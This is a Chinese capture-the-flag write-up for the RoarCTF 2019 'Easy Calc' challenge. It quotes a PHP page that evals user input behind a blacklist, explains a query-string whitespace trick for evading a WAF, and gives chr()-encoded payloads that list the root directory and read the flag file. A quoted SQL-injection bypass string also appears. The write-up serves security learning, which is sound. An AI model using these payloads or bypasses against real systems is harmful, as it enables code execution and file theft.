[RoarCTF 2019]Easy Calc

解题步骤

查看页面功能得到该页面是一个可以计算表达式，并且返回最后结果的功能页面

查看网页源代码，在源代码中发现一段带有

<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

其中出现了一个名为calc.php的页面，访问该页面：

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

得到一段php代码，改代码功能是对输入的表达式进行过滤，并且带代码中出现了eval()函数，则可以判断该题与远程代码执行漏洞(REC)有关

但最后尝试使用了ls等系统命令以及各种绕过来获取目录，发现无法显示，最后认真分析源码中的函数以及借鉴其他博主的解题思路，得知最后的解题还需要运用以下几个知识点：

• encodeURIComponent()函数：作用是把字符串作为URI组件进行编码，但是不会对 ASCII 字母和数字进行编码，也不会对这些 ASCII 标点符号进行编码： - _ . ! ~ * ’ ( )；其他字符（比如 ：;/?😡&=+$,# 这些用于分隔 URI 组件的标点符号），都是由一个或多个十六进制的转义序列替换的

• PHP的字符串解析特性：我们知道PHP将查询字符串（在URL或正文中）转换为内部${}_{G}ET或的关联数组$_POST。例如：/?foo=bar变成Array([foo] => “bar”)。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如，/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：

  /news.php?%20news[id%00=42"+AND+1=0–

  上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

  HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

  1.删除空白符

  2.将某些字符转换为下划线（包括空格）

  我的理解：
  假如waf不允许num变量传递字母：

  http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话
  

  那么我们可以在num前加个空格：

  http://www.xxx.com/index.php? num = aaaa
  

  这样waf就找不到num这个变量了，因为现在的变量叫“ num”，而不是“num”。但php在解析的时候，会先把空格给去掉，这样我们的代码还能正常运行，还上传了非法字符。
  注：摘自[RoarCTF 2019]Easy Calc

• 利用scandir()列出目录和文件，var_dump()进行输出

  scandir():返回指定目录中的文件和目录的数组，其中scandir(/)相当于ls /

  var_dump():用于输出变量的相关信息，显示关于一个或多个表达式的结构信息，包括表达式的类型与值

• 利用file_get_content()读取并输出文件内容

有了以上知识点，就可以开始接下来的解题：

构造payload：? num=var_dump(scandir(chr(47)))，其中? num绕过了WAF的防护，但是php在在解析时仍然等于?num；chr(47)= /，47 是 / 的 ASCII编码；var_dump(scandir(chr(47)))相当于system(ls /)，故回显为：

其中出现了f1agg的文件，构造payload读取该文件内容：? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))相当于system(cat /f1agg)，得到回显：

小结

​ 在解题过程中，对一些函数和相关知识点还不够熟悉，不能够立马想到相关的绕过方法，还需要继续努力学习